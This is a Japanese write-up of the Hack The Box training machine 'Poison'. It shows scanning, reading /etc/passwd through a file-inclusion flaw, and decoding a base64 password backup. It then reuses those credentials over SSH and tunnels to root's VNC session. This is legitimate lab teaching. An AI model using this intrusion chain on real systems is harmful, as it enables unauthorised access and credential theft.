Hack the Box (HTB) Poison write-up

#はじめに
こんにちは。どうも最近積極的にHTBに取り組んでいます。
自分のまとめのためにも書いていきたいと思います。また日本語の解説も少なかったりするので参考の１つとしてみてくれたらなと思います。

間違っているところとかあればご指摘お願いします。

Twitter:@ikk_hck



#Poison
HackTheBox公式より

![Screen Shot 2020-08-26 at 21.23.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/4ae92b5e-dccd-e366-dd01-c95f10b9362b.png)


Poison is a fairly easy machine which focuses mainly on log poisoning and port forwarding/tunneling. The machine is running FreeBSD which presents a few challenges for novice users as many common binaries from other distros are not available.



#スキャン
例によってPoison(10.10.10.84)にポートスキャン

```
nmap -sV -sC -Pn 10.10.10.84
```
オプションの説明は前回の記事、[Hack the Box (HTB) Devel write-up](https://qiita.com/ikkyu193/items/fb2b66a64d8a38d2c20b)を参照してください。
結果、

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-26 08:20 EDT
Nmap scan report for 10.10.10.84
Host is up (0.19s latency).
Not shown: 995 closed ports
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp   open     http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
389/tcp  filtered ldap
545/tcp  filtered ekshell
1059/tcp filtered nimreg
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.59 seconds
```

#調査
ブラウザで10.10.10.84を訪れてみる。
![Screen Shot 2020-08-26 at 21.34.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/18bada41-4558-47dd-6971-4b6ba619d924.png)

テストファイルがいくつかあるのでそれぞれ入力して試してみる。するとlistfiles.phpで
![Screen Shot 2020-08-26 at 21.34.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/d0130cab-d4de-0f2a-a8b4-a1b16b0c45c0.png)

が表示された。よくみると最後にpwdbackup.txt。もう怪しさしかない。他のファイルは最初にリストアップされていたもののようです。
さっそく試してみる
![Screen Shot 2020-08-26 at 21.34.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/d2a82a00-7902-feff-8308-c7a12e246c22.png)
submitすると

![Screen Shot 2020-08-26 at 21.34.55.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/d52b4bfb-595c-1cb1-4d86-3904924e5b96.png)
が表示されます。どうやらbase64でエンコードされています。base64の特徴としては、データ長を揃えるためにパディングとして末尾に記号の=を使用、記号が少なく英数字で構成されているなどがあります。

#デコード
これを適当なファイルに保存して解読していきたいと思います。
今回はtmp.txtとして保存した後に

```
$sed 's/ //g' tmp.txt > decode.txt
```
で空白を除きます。軽く説明すると"s"が正規表現で処理、/(置換前)/(置換後)/、"g"がマッチしたもの全てに処理をする、です。※今回は空白を除きたいので置換の部分は「/ //」です。

```
$cat new_tmp.txt 
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=
```
空白がなくなっているのがわかります。次に実際にデコードしていきます。ブラウザでpwdbackup.txtをみた時、1行目に少なくても13回エンコードされているとあるのでとりあえず13回デコードしてみます。地道に13回やってもいいのですが今回は

```
$ for i in `seq 0 12`
> do
> cat decode.txt | base64 -d > tmp_decode.txt
> mv tmp_decode.txt decode.txt 
> done
```
としました。なぜわざわざtmp_decode.txtにいったん出力しているかというと、tmp_decode.txtに出力してからdecode.txtにコピーしないと、catした時点で出力先のファイルがゼロクリアされるためです。
decode.txtをみてみると

```
$ cat decode.txt 
Charix!2#4%6&8(0
```
パスワードが解読できているようです。
また先ほどのサイトは明らかにLFI([Web app Security Memo参照](https://www.pupha.net/archives/1322/))の脆弱性があるので/etc/passwd/を入力しsubmitしてみると
![Screen Shot 2020-08-27 at 17.49.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/e8a2dc4d-0991-524e-c7d8-9326d54f47a1.png)
最後の行からユーザー名が"charix"であることがわかりました。これでユーザ名とパスワードがそろいました。最初のnmapでsshの22番ポートも開いていましたね？さっそく得た情報を使ってssh接続していきたいと思います。

#ssh接続

```
$ ssh charix@10.10.10.84
Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
Simple tcsh prompt: set prompt = '%# '                                                                                                            
charix@Poison:~ %      
```
無事接続できたのでディレクトリをのぞいてみると

```
charix@Poison:~ % ls                                                                                                                              
secret.zip      user.txt
```
secret.zipが気になるのでダウンロードしてきて解凍。出力してみましたがよくわかりませんでした。

```
$ scp charix@10.10.10.84:secret.zip ~/Desktop/poison/
Password for charix@Poison:
secret.zip                                              100%  166     0.2KB/s   00:01    
$ unzip secret.zip 
Archive:  secret.zip
[secret.zip] secret password: 
 extracting: secret 
```

ポートを開いているプロセス情報を教えてくれるsockstatを使ってさらに調べていきます。

```
charix@Poison:~ % sockstat -4 -l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS      
root     sendmail   660   3  tcp4   127.0.0.1:25          *:*
www      httpd      649   4  tcp4   *:80                  *:*
www      httpd      648   4  tcp4   *:80                  *:*
www      httpd      645   4  tcp4   *:80                  *:*
www      httpd      642   4  tcp4   *:80                  *:*
www      httpd      641   4  tcp4   *:80                  *:*
www      httpd      640   4  tcp4   *:80                  *:*
www      httpd      639   4  tcp4   *:80                  *:*
www      httpd      638   4  tcp4   *:80                  *:*
root     httpd      625   4  tcp4   *:80                  *:*
root     sshd       620   4  tcp4   *:22                  *:*
root     Xvnc       529   1  tcp4   127.0.0.1:5901        *:*
root     Xvnc       529   3  tcp4   127.0.0.1:5801        *:*
root     syslogd    390   7  udp4   *:514                 *:*
```
オプションの説明としては

```
-l リスニングポートを一覧表示
-4 IPv4オープンポートを一覧表示
```
といったかんじです。すると最後の方の行からvnc用に5901番と5801番ポートが開いていることがわかります。

#ポートフォワーディング
しかし10.10.10.84からの接続しか受け付けていないためsshポートフォワーディングをします。一応補足しておくと、ポートフォワーディングとはいわゆるポート転送のことで、ローカルのポート接続からあるサーバを踏み台にして直接アクセスできない別のサーバのポートにアクセスしたいときに使われたりします。[SSHポートフォワード：OpenSSH の -L と -R オプションの動作を図解](https://hrkworks.com/it/windows-tips/openssh/)などを参照してみてください。今回のPoisonでは踏み台にするサーバーと最終的な目的地としてのサーバは同じです。

```
$ ssh charix@10.10.10.84 -L 5901:127.0.0.1:5901
Password for charix@Poison:
Last login: Thu Aug 27 10:57:43 2020 from 10.10.14.8
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
To see the output from when your computer started, run dmesg(8).  If it has
been replaced with other messages, look at /var/run/dmesg.boot.
                -- Francisco Reyes <lists@natserv.com>
charix@Poison:~ % 
```
コマンドの説明としては
ssh [踏み台にするサーバ] -L [ローカルポート]:[目的地のアドレス]:[目的地のポート]です。
成功しているみたいなので別のシェルを開いてvncviewerを起動。パスワードは先ほどのsecretを使います。この時の127.0.0.1はローカルで、先ほどの

```
$ ssh charix@10.10.10.84 -L 5901:127.0.0.1:5901
```
の127.0.0.1は10.10.10.84のローカルなので混乱しないでください。

```
$vncviewer -passwd secret 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
vncviewer -passwd secret 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 2
```
すると
![Screen Shot 2020-08-27 at 19.37.39.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/cc4c46cb-045e-dfba-1e08-72905d7039aa.png)


のような画面が開くのであとはこの中のroot.txtを開くだけ。
おつかれさまでしたー、では。